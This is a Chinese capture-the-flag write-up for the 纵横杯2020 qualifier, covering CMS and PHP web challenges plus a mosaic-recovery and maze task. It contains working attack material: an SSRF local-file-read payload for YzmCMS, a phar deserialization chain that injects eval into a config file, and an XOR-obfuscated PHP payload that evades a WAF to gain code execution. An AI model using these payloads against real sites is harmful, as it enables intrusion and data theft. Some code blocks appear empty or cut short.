纵横杯2020 Qual WriteUp
Web#
ezcms#
www.zip 源码,common/config/config.php找到db用户名和密码admin和admin868。
后台/admin密码与db相同。
利用 https://github.com/yzmcms/yzmcms/issues/53 描述的采集管理功能 ssrf 包含本地文件。读取 /flag 得到 flag。
在自己服务器上起一个HTTP服务提供payload:
1 | <ss123><a href="httpxxx://../../../../../../flag">test</a></ss123> |
在采集管理中添加节点,网址配置为该payload,添加后测试配置得到flag。
hello_php#
www.zip 源码。
admin.php和class.php中upload_logo提供上传jpg功能,class.php中Config类中__destruct方法替换config.php文件中的$title=
,index.php中调用file_exists方法。
可上传phar文件,在index.php中传递img参数触发反序列化,设置Config类中title为'.eval(\$_POST['dubhe']).'
,在config.php插入eval,RCE。
phar.php:
1 |
|
用 file_get_contents 读取/flag文件。
大家一起来审代码#
www.zip 源码。
后台/adm1n弱密码admin, admin。
adm1n/admin_weixin.php根据POST参数创建data/admin/weixin.php文件,有WAFpreg_replace("/a|e|i|o|u|s|t/i","",$$arg)
。
用字符串异或绕过WAF,向weixin.php写入任意代码,实现RCE。
payload(设置isopen):
1 | ");$c=("\x99\x96\x93\x64\x5f\x98\x64\x8b\x5f\x9c\x90\x91\x8b\x64\x91\x8b\x8c"^"\xff\xff\xff\x01\x00\xff\x01\xff\x00\xff\xff\xff\xff\x01\xff\xff\xff");?><?=$c("\xd0\x99\x93\x60\x98"^"\xff\xff\xff\x01\xff")?> <?php// |
作用为执行file_get_contents(‘/flag’)得到flag
Misc#
马赛克#
Depix还原
1 | python3 depix.py -p mosaic.png -s images/searchimages/debruinseq_notepad_Windows10_close.png -o output.png |
看图得到flag:flag{0123468abd68abd0123}
babymaze1#
dfs走迷宫
solver:
1 | from pwn import * |